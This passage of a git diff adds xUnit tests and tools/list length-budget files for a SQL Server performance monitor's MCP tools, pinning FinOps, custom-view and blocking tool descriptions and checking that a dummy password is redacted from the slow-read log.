         ("validate_custom_view", "This is the exact authority create_custom_view / update_custom_view run before saving"),
         ("run_custom_view_panel", "This is the SAME compile-and-run the web composer's live preview uses"),
         ("run_custom_view_panel", "the panel is validated, compiled to catalog-only bound SQL, and executed against the collected store under a statement_timeout"),
+        // The window and server sentences the head gave up so the three-cause notice contract fits its budget.
+        ("run_custom_view_panel", "omit 'server' (or use \"All\") for the whole fleet"),
+        ("run_custom_view_panel", "the span is capped at 90 days, and old windows are served from the retention rollups automatically"),
+    ];
+
+    /// <summary>What <c>notice</c> means, said the same way in the head and in the tail: a partial-window caveat
+    /// with three causes, and its absence means the window was served whole (#4953). The old wording named two
+    /// causes (retention, the row cap), so a caller read a panel whose own data started late as a complete one.</summary>
+    private static readonly string[] NoticeContract =
+    [
+        "notice is a partial-window caveat",
+        "the tier's retention could not cover the window",
+        "the panel's own data starts after the window does",
+        "the row cap truncated the result",
+        "absent means the window was served whole",
     ];
 
     [Fact]
@@ -74,6 +89,23 @@ public void BothHeads_StayUnderTheirCap_AndCarryTheirGuardrailFacts()
             tool => Assert.All(McpToolGuideTests.Served(tool).ParameterDescriptionLengths, p => Assert.True(p.Length <= 200)));
     }
 
+    /// <summary>The contract of <c>notice</c> is in BOTH places a caller reads it: the served head names all three
+    /// causes and what an absent notice means, and the tail says the same.</summary>
+    [Fact]
+    public void TheNoticeContract_NamesAllThreeCauses_InTheHeadAndInTheTail()
+    {
+        var run = McpToolGuideTests.Served("run_custom_view_panel");
+        Assert.NotNull(run.Tail);
+
+        foreach (var fact in NoticeContract)
+        {
+            Assert.Contains(fact, run.Served, StringComparison.Ordinal);
+            Assert.Contains(fact, run.Tail!, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("neither happened", run.Served, StringComparison.Ordinal);
+    }
+
     /// <summary>Nothing the old descriptions said was lost: every fact the head had no room for is still in the
     /// tail, verbatim, so one <c>get_tool_guide</c> call recovers it.</summary>
     [Fact]
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs b/Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs
new file mode 100644
index 0000000000..05a54f84eb
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Head pins for the "FinOps" family: <c>get_finops</c>, the grouped FinOps tool. Follows the pattern in
+/// <see cref="McpToolGuideHeadsPvsTests"/>.
+/// </summary>
+public sealed class McpToolGuideHeadsFinOpsTests
+{
+    private static readonly string[] ConvertedTools =
+    [
+        "get_finops",
+    ];
+
+    private static readonly (string Tool, string Fact)[] HeadFacts =
+    [
+        ("get_finops", "Windowed over hours_back, UTC; no as_of."),
+        ("get_finops", "utilization:"),
+        ("get_finops", "high_impact:"),
+        ("get_finops", "index_analysis:"),
+        ("get_finops", "An unknown view is refused with the valid list."),
+    ];
+
+    [Fact]
+    public void EveryConvertedHead_CarriesItsGuardrailFact_AndThePointer()
+    {
+        foreach (var tool in ConvertedTools)
+        {
+            var served = McpToolGuideTests.Served(tool);
+            Assert.NotNull(served.Tail);
+            Assert.EndsWith(McpToolGuide.GuidePointer, served.Served, StringComparison.Ordinal);
+            Assert.True(served.Served.Length <= 620, $"{tool}: served head {served.Served.Length} is over the 620 target");
+            Assert.All(served.ParameterDescriptionLengths, p => Assert.True(p.Length <= 200, $"{tool}.{p.Parameter}: {p.Length} > 200"));
+        }
+
+        foreach (var (tool, fact) in HeadFacts)
+        {
+            Assert.Contains(fact, McpToolGuideTests.Served(tool).Served, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ReadingGuidance_NotRepeatedInHead_StaysInTail()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.DoesNotContain("percent-rank", served.Served, StringComparison.Ordinal);
+        Assert.Contains("percent-rank", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("has_plan only says whether a plan was captured", served.Tail!, StringComparison.Ordinal);
+        Assert.DoesNotContain("impact_band", served.Served, StringComparison.Ordinal);
+        Assert.Contains("impact_band is high at 80 and above, medium at 60 and above, else low", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("impact_score 0-100", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("rounded to 0.1", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("No cost fields", served.Tail!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void UtilizationBandCutPoints_StayInTheTail()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.DoesNotContain("good at 80 and above", served.Served, StringComparison.Ordinal);
+        Assert.Contains("good at 80 and above, fair at 60 and above, else poor", served.Tail!, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.FinOpsInventory.cs b/Darling/Darling.Tests/McpToolGuideHeads.FinOpsInventory.cs
new file mode 100644
index 0000000000..0ce449c474
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolGuideHeads.FinOpsInventory.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Head pins for the FinOps Server Inventory: <c>get_finops_inventory</c>. Follows the pattern in
+/// <see cref="McpToolGuideHeadsPvsTests"/>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class McpToolGuideHeadsFinOpsInventoryTests
+{
+    private static readonly string[] ConvertedTools =
+    [
+        "get_finops_inventory",
+    ];
+
+    private static readonly (string Tool, string Fact)[] HeadFacts =
+    [
+        ("get_finops_inventory", "Fixed windows"),
+        ("get_finops_inventory", "Views: server_inventory."),
+        ("get_finops_inventory", "An unknown view is refused with the valid list."),
+    ];
+
+    [Fact]
+    public void EveryConvertedHead_CarriesItsGuardrailFact_AndThePointer()
+    {
+        foreach (var tool in ConvertedTools)
+        {
+            var served = McpToolGuideTests.Served(tool);
+            Assert.NotNull(served.Tail);
+            Assert.EndsWith(McpToolGuide.GuidePointer, served.Served, StringComparison.Ordinal);
+            Assert.True(served.Served.Length <= 620, $"{tool}: served head {served.Served.Length} is over the 620 target");
+            Assert.All(served.ParameterDescriptionLengths, p => Assert.True(p.Length <= 200, $"{tool}.{p.Parameter}: {p.Length} > 200"));
+        }
+
+        foreach (var (tool, fact) in HeadFacts)
+        {
+            Assert.Contains(fact, McpToolGuideTests.Served(tool).Served, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ReadingGuidance_NotRepeatedInHead_StaysInTail()
+    {
+        var served = McpToolGuideTests.Served("get_finops_inventory");
+        Assert.DoesNotContain("health_band", served.Served, StringComparison.Ordinal);
+        Assert.Contains("health_band is good at 80 and above, fair at 60 and above, else poor", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("the same score the Utilization view shows for that server", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("Servers without a collected properties snapshot are not listed", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("annual_cost_usd is monthly", served.Tail!, StringComparison.Ordinal);
+        // Round-2 L2 (#5492): a server with no CPU sample gets no score, not a score without the CPU term.
+        Assert.Contains("with no CPU sample in the 24 hours, or no memory sample collected, there is no score (health_score_note says why)", served.Tail!, StringComparison.Ordinal);
+        Assert.DoesNotContain("CPU term is left out", served.Tail!, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.FinOpsRecommendations.cs b/Darling/Darling.Tests/McpToolGuideHeads.FinOpsRecommendations.cs
new file mode 100644
index 0000000000..7656d30ec5
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolGuideHeads.FinOpsRecommendations.cs
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Head pins for the FinOps Recommendations list: <c>get_finops_recommendations</c>. Follows the pattern in
+/// <see cref="McpToolGuideHeadsPvsTests"/>. The head and tail are read from the served tools/list.
+/// </summary>
+public sealed class McpToolGuideHeadsFinOpsRecommendationsTests
+{
+    private static readonly string[] ConvertedTools =
+    [
+        "get_finops_recommendations",
+    ];
+
+    private static readonly (string Tool, string Fact)[] HeadFacts =
+    [
+        ("get_finops_recommendations", "High severity first"),
+        ("get_finops_recommendations", "no hours_back, limit or as_of"),
+    ];
+
+    [Fact]
+    public void EveryConvertedHead_CarriesItsGuardrailFact_AndThePointer()
+    {
+        foreach (var tool in ConvertedTools)
+        {
+            var served = McpToolGuideTests.Served(tool);
+            Assert.NotNull(served.Tail);
+            Assert.EndsWith(McpToolGuide.GuidePointer, served.Served, StringComparison.Ordinal);
+            Assert.True(served.Served.Length <= 620, $"{tool}: served head {served.Served.Length} is over the 620 target");
+            Assert.All(served.ParameterDescriptionLengths, p => Assert.True(p.Length <= 200, $"{tool}.{p.Parameter}: {p.Length} > 200"));
+        }
+
+        foreach (var (tool, fact) in HeadFacts)
+        {
+            Assert.Contains(fact, McpToolGuideTests.Served(tool).Served, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ReadingGuidance_NotRepeatedInHead_StaysInTail()
+    {
+        var served = McpToolGuideTests.Served("get_finops_recommendations");
+        Assert.DoesNotContain("skipped_checks", served.Served, StringComparison.Ordinal);
+        Assert.Contains("skipped_checks names each check", served.Tail!, StringComparison.Ordinal);
+        Assert.Contains("est_savings_usd_month is a rough", served.Tail!, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.Platform.cs b/Darling/Darling.Tests/McpToolGuideHeads.Platform.cs
index cccff39294..aca3ab8d76 100644
--- a/Darling/Darling.Tests/McpToolGuideHeads.Platform.cs
+++ b/Darling/Darling.Tests/McpToolGuideHeads.Platform.cs
@@ -118,6 +118,7 @@ public void CollectorCost_HeadRoundsTheStoreProbeShare_TailKeepsTheExactFigures(
     [
         "get_fleet_overview",
         "add_servers",
+        "edit_server",
         "remove_server",
     ];
 
@@ -135,6 +136,9 @@ private static readonly (string Tool, string Fact)[] FleetAdminHeadFacts =
         ("add_servers", "one failed connection or a duplicate does not stop the rest"),
         ("add_servers", "only added servers are monitored"),
         ("add_servers", "A password or client secret is encrypted at rest and never returned"),
+        ("edit_server", "no confirm step"),
+        ("edit_server", "keeps its id, tags and history"),
+        ("edit_server", "probed first and saved only if the server answers"),
         ("remove_server", "immediately, no confirm step"),
         ("remove_server", "Already-collected historical data is NOT deleted"),
         ("remove_server", "a partial match is honored only if exactly one definition contains it"),
diff --git a/Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs b/Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs
index 3bcf7e5f0e..eefcd2791b 100644
--- a/Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs
+++ b/Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs
@@ -21,6 +21,7 @@ namespace Darling.Tests;
 /// <c>Lite.Tests/McpToolGuideHeadsSqlCoreTests</c>. Follows the pattern in
 /// <see cref="McpToolGuideHeadsDataTests"/>.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpToolGuideHeadsSqlCoreTests
 {
     private static readonly string[] ConvertedTools =
@@ -182,6 +183,7 @@ public void GetAnalysisFindings_CarriesNoIssueReferences()
 /// had, because Lite's daily-summary payload has no rollup tier to disclose (<c>Lite/Mcp/McpHealthTools.cs</c>'s
 /// <c>GetDailySummary</c>/<c>GetDailySummaryRange</c> bodies carry no <c>days_missing</c> key at all).
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpToolGuideHeadsSqlCoreDailySummaryTests
 {
     private static readonly string[] ConvertedTools =
@@ -240,6 +242,7 @@ public void DarlingsTail_CarriesTheRollupTierDisclosure()
 /// generic cross-SKU pin in <see cref="McpToolGuideTests"/> also covers this); each product's own tail keeps its
 /// own original prose, including the one line that names that product's own blocked-process-report tool.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpToolGuideHeadsSqlCoreActiveQueriesTests
 {
     private static readonly (string Tool, string Fact)[] HeadFacts =
@@ -284,6 +287,17 @@ public void BlockingOnlyParameter_KeepsItsGuardrailClause_AndMovesTheRestToTheTa
             StringComparison.Ordinal);
     }
 
+    /// <summary>#5235: <c>wait_type</c>'s parameter description is 190 characters on both apps (each app's test pins the same
+    /// number, and its tools/list budget line says 190 too), under the 200-character parameter cap.</summary>
+    [Fact]
+    public void WaitTypeParameter_IsTheSameTextOnBothApps_UnderTheParameterCap()
+    {
+        var served = McpToolGuideTests.Served("get_active_queries");
+        var waitType = Assert.Single(served.ParameterDescriptionLengths, p => p.Parameter == "wait_type");
+        Assert.Equal(190, waitType.Length);
+        Assert.True(waitType.Length <= 200, $"wait_type: {waitType.Length} > 200");
+    }
+
     /// <summary>The two blocking disclosures (D2's densest guardrail) both survive the move: the head states
     /// the shape, Darling's own tail keeps the original prose that explains each reason code and names
     /// Darling's own blocking tool, <c>get_blocking</c>.</summary>
@@ -293,7 +307,8 @@ public void BlockerNotShownCodes_AreExplainedInTheTail()
         var tail = McpToolGuideTests.Served("get_active_queries").Tail!;
         Assert.Contains("not_captured (the blocker held no running request at that capture", tail, StringComparison.Ordinal);
         Assert.Contains("get_blocking has its input buffer", tail, StringComparison.Ordinal);
-        Assert.Contains("filtered (your database_name filter excluded it)", tail, StringComparison.Ordinal);
+        Assert.Contains("filtered (your database_name or wait_type filter excluded it)", tail, StringComparison.Ordinal);
+        Assert.Contains("database_name, blocking_only and wait_type are applied in SQL before the page is cut", tail, StringComparison.Ordinal);
         Assert.Contains("past_page (it is in the filtered population but beyond limit)", tail, StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/McpToolGuideTests.cs b/Darling/Darling.Tests/McpToolGuideTests.cs
index 158759e525..cd798c3773 100644
--- a/Darling/Darling.Tests/McpToolGuideTests.cs
+++ b/Darling/Darling.Tests/McpToolGuideTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// <see cref="McpToolGuideHeadsHealthParserTests"/> for the pattern) — lanes converting a new family add a file
 /// there and never edit this one, so two families converting in parallel never conflict here.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpToolGuideTests
 {
     internal static McpToolsListBudgetTests.MeasuredTool Served(string tool) =>
diff --git a/Darling/Darling.Tests/McpToolLatencyRecordingTests.cs b/Darling/Darling.Tests/McpToolLatencyRecordingTests.cs
index 490ec64e70..ba2fa3e407 100644
--- a/Darling/Darling.Tests/McpToolLatencyRecordingTests.cs
+++ b/Darling/Darling.Tests/McpToolLatencyRecordingTests.cs
@@ -52,6 +52,24 @@ private sealed class LatencyProbeTools
         [McpServerTool(Name = "latency_probe_ok"), Description("Test-only: always answers Ok.")]
         public static string ProbeOk() => "probe-ok";
 
+        [McpServerTool(Name = "latency_probe_gate_failed"), Description("Test-only: answers Ok after noting a gate failure.")]
+        public static string ProbeGateFailed()
+        {
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "probe", null);
+            return "probe-ok";
+        }
+
+        [McpServerTool(Name = "latency_probe_gate_failed_then_error"), Description("Test-only: notes a gate failure, then answers an error envelope.")]
+        public static string ProbeGateFailedThenError()
+        {
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "probe", null);
+            return PerformanceMonitor.Common.McpHelpers.FormatError("latency_probe_gate_failed_then_error", new InvalidOperationException("probe failed"));
+        }
+
+        [McpServerTool(Name = "latency_probe_servers_json"), Description("Test-only: takes a JSON-bearing string like add_servers does and fails.")]
+        public static string ProbeServersJson([Description("A JSON batch.")] string servers_json) =>
+            PerformanceMonitor.Common.McpHelpers.FormatError("latency_probe_servers_json", new InvalidOperationException("probe failed"));
+
         [McpServerTool(Name = "latency_probe_timeout"), Description("Test-only: answers the 57014 statement-timeout envelope.")]
         public static string ProbeTimeout() =>
             PerformanceMonitor.Common.McpHelpers.FormatError(
@@ -63,7 +81,7 @@ public static string ProbeTimeout() =>
     /// and <see cref="DarlingMcpHostService.ConfigurePipeline"/>, wired to <paramref name="readLatency"/> — the
     /// same construction <see cref="DarlingMcpHostGateLiveTests.BuildServer"/> uses, plus the test-only probe
     /// tool registered directly on <c>builder.Services</c> (never through production's tool registrations).</summary>
-    private static async Task<TestServer> BuildServer(ReadLatencyAccumulator readLatency)
+    private static async Task<TestServer> BuildServer(ReadLatencyAccumulator readLatency, SlowReadLog? slowReads = null)
     {
         var builder = WebApplication.CreateBuilder();
         builder.WebHost.UseTestServer();
@@ -80,7 +98,7 @@ private static async Task<TestServer> BuildServer(ReadLatencyAccumulator readLat
 
         DarlingMcpHostService.ConfigureMcpServices(
             builder.Services, DarlingPeerDirectory.Snapshot.Empty, readLatency,
-            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance);
+            Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, slowReads);
 
         /* The probe tool is added AFTER ConfigureMcpServices's own AddMcpServer() call, chaining onto the
            SAME builder — WithGeminiCompatibleTools appends to the already-registered tool set rather than
@@ -131,6 +149,37 @@ SAME builder — WithGeminiCompatibleTools appends to the already-registered too
         return (ctx.Response.StatusCode, body);
     }
 
+    [Fact]
+    public async Task AFailedWriteToolCall_CarryingAServerBatchWithAPassword_IsRecordedWithoutThePassword()
+    {
+        var slowReads = new SlowReadLog(0);
+        using var server = await BuildServer(new ReadLatencyAccumulator(), slowReads);
+        var batch = "[{\\\"server_name\\\":\\\"x\\\",\\\"password\\\":\\\"Hunter2!\\\"}]";
+        var requestBody = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"latency_probe_servers_json\",\"arguments\":{\"servers_json\":\"" + batch + "\"}}}";
+
+        await SendJsonRpcAsync(server, "/", requestBody);
+
+        Assert.True(slowReads.TryRead(out var record));
+        Assert.Equal("latency_probe_servers_json", record!.Route);
+        Assert.DoesNotContain("Hunter2!", record.ArgumentsJson, StringComparison.Ordinal);
+        Assert.DoesNotContain("password\":\"", record.ArgumentsJson, StringComparison.Ordinal);
+        Assert.Contains(SlowReadLog.OmittedMarker, record.ArgumentsJson, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AToolThatNotesAFallback_RecordsGateFailed_AndAFailedToolStillRecordsError()
+    {
+        var readLatency = new ReadLatencyAccumulator();
+        using var server = await BuildServer(readLatency);
+
+        await ToolsCallAsync(server, "/", "latency_probe_gate_failed");
+        await ToolsCallAsync(server, "/", "latency_probe_gate_failed_then_error");
+
+        var drained = readLatency.Drain();
+        Assert.Equal(ReadOutcome.GateFailed, Assert.Single(drained, d => d.Route == "latency_probe_gate_failed").Outcome);
+        Assert.Equal(ReadOutcome.Error, Assert.Single(drained, d => d.Route == "latency_probe_gate_failed_then_error").Outcome);
+    }
+
     [Fact]
     public async Task ACheapToolCall_RecordsExactlyOneMcpSample_WithOutcomeOk()
     {
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt
index c0c9ce2ed1..4d3bdde961 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt
@@ -1,26 +1,29 @@
 # DarlingMcpBlockingTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_blocked_process_xml 465
 param get_blocked_process_xml.as_of 167
+param get_blocked_process_xml.database_name 46
 param get_blocked_process_xml.hours_back 29
 param get_blocked_process_xml.limit 113
 param get_blocked_process_xml.server_name 28
 
 tool get_blocking 576
 param get_blocking.as_of 167
+param get_blocking.database_name 46
 param get_blocking.dedup_key 191
 param get_blocking.full_text 172
 param get_blocking.hours_back 29
 param get_blocking.limit 133
 param get_blocking.server_name 28
 
-tool get_blocking_trend 289
+tool get_blocking_trend 519
 param get_blocking_trend.as_of 167
+param get_blocking_trend.database_name 46
 param get_blocking_trend.hours_back 29
 param get_blocking_trend.server_name 28
 
-tool get_deadlock_detail 652
+tool get_deadlock_detail 786
 param get_deadlock_detail.as_of 167
-param get_deadlock_detail.dedup_key 272
+param get_deadlock_detail.dedup_key 165
 param get_deadlock_detail.full_graph 145
 param get_deadlock_detail.hours_back 29
 param get_deadlock_detail.limit 119
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt
index 3583ac3d2a..a8977bfa97 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpConfigHistoryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_database_config_changes 464
 param get_database_config_changes.as_of 167
+param get_database_config_changes.database_name 46
 param get_database_config_changes.hours_back 51
 param get_database_config_changes.server_name 28
 
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt
index d483ec7f35..6981178cfa 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt
@@ -16,7 +16,7 @@ param get_custom_view.view_id 61
 
 tool list_custom_views 313
 
-tool run_custom_view_panel 612
+tool run_custom_view_panel 609
 param run_custom_view_panel.spec 103
 
 tool update_custom_view 785
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt
index 1a99e0e611..cef58d65a0 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpDataTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
-tool get_blocking_stats 468
+tool get_blocking_stats 698
 param get_blocking_stats.as_of 167
+param get_blocking_stats.database_name 66
 param get_blocking_stats.hours_back 191
 param get_blocking_stats.server_name 28
 
@@ -31,6 +32,7 @@ param get_current_waits_trend.hours_back 190
 param get_current_waits_trend.server_name 28
 
 tool get_file_io_stats 437
+param get_file_io_stats.database_name 46
 param get_file_io_stats.server_name 28
 
 tool get_memory_clerks 232
@@ -66,6 +68,7 @@ param get_tempdb_trend.server_name 28
 tool get_top_procedures_by_cpu 532
 param get_top_procedures_by_cpu.as_of 167
 param get_top_procedures_by_cpu.database_name 30
+param get_top_procedures_by_cpu.detail 122
 param get_top_procedures_by_cpu.hours_back 29
 param get_top_procedures_by_cpu.server_name 28
 param get_top_procedures_by_cpu.top 37
@@ -73,6 +76,7 @@ param get_top_procedures_by_cpu.top 37
 tool get_top_queries_by_cpu 600
 param get_top_queries_by_cpu.as_of 167
 param get_top_queries_by_cpu.database_name 30
+param get_top_queries_by_cpu.detail 122
 param get_top_queries_by_cpu.group_by 167
 param get_top_queries_by_cpu.hours_back 29
 param get_top_queries_by_cpu.min_dop 132
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt
index 56687dd714..e0d0764d80 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpDefaultTraceTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_default_trace_events 614
 param get_default_trace_events.as_of 167
+param get_default_trace_events.database_name 46
 param get_default_trace_events.hours_back 41
 param get_default_trace_events.limit 48
 param get_default_trace_events.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsInventoryTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsInventoryTools.txt
new file mode 100644
index 0000000000..046a610e0c
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsInventoryTools.txt
@@ -0,0 +1,5 @@
+# DarlingMcpFinOpsInventoryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_finops_inventory 294
+param get_finops_inventory.include_removed 26
+param get_finops_inventory.limit 42
+param get_finops_inventory.view 44
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsRecommendationsTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsRecommendationsTools.txt
new file mode 100644
index 0000000000..5f13905082
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsRecommendationsTools.txt
@@ -0,0 +1,3 @@
+# DarlingMcpFinOpsRecommendationsTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_finops_recommendations 368
+param get_finops_recommendations.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt
new file mode 100644
index 0000000000..4775ec9512
--- /dev/null
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt
@@ -0,0 +1,9 @@
+# DarlingMcpFinOpsTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_finops 614
+param get_finops.database_name 63
+param get_finops.full_text 76
+param get_finops.hours_back 50
+param get_finops.limit 59
+param get_finops.object_name 69
+param get_finops.server_name 28
+param get_finops.view 159
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt
index 0f65baaecd..8275957a0c 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt
@@ -37,6 +37,7 @@ param get_health_parser_scheduler_issues.server_name 28
 
 tool get_health_parser_severe_errors 480
 param get_health_parser_severe_errors.as_of 167
+param get_health_parser_severe_errors.database_name 46
 param get_health_parser_severe_errors.hours_back 41
 param get_health_parser_severe_errors.limit 38
 param get_health_parser_severe_errors.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt
index 1adf1c1c4a..21de531109 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt
@@ -1,3 +1,12 @@
 # DarlingMcpJobTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
+tool get_job_history 445
+param get_job_history.as_of 167
+param get_job_history.category 42
+param get_job_history.hours_back 41
+param get_job_history.job_name 33
+param get_job_history.limit 46
+param get_job_history.server_name 51
+param get_job_history.status 49
+
 tool get_running_jobs 642
 param get_running_jobs.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLongQueryTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLongQueryTools.txt
index a985f18d89..ff5a1296f7 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLongQueryTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLongQueryTools.txt
@@ -1,6 +1,7 @@
 # DarlingMcpLongQueryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_long_query_completions 604
 param get_long_query_completions.as_of 167
+param get_long_query_completions.database_name 46
 param get_long_query_completions.hours_back 29
 param get_long_query_completions.limit 134
 param get_long_query_completions.server_name 28
diff --git a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt
index d72191fb02..163a825122 100644
--- a/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt
+++ b/Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt
@@ -1,5 +1,6 @@
 # DarlingMcpObjectStatsTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_database_sizes 480
+param get_database_sizes.database_name 46
 param get_database_sizes.server_name 28
 
 tool get_index_usage 488
@@ -8,8 +9,10 @@ param get_index_usage.limit 35
 param get_index_usage.server_name 28
 
 tool get_object_locking 661
+param get_object_locking.database_name 46
 param get_object_locking.limit 35
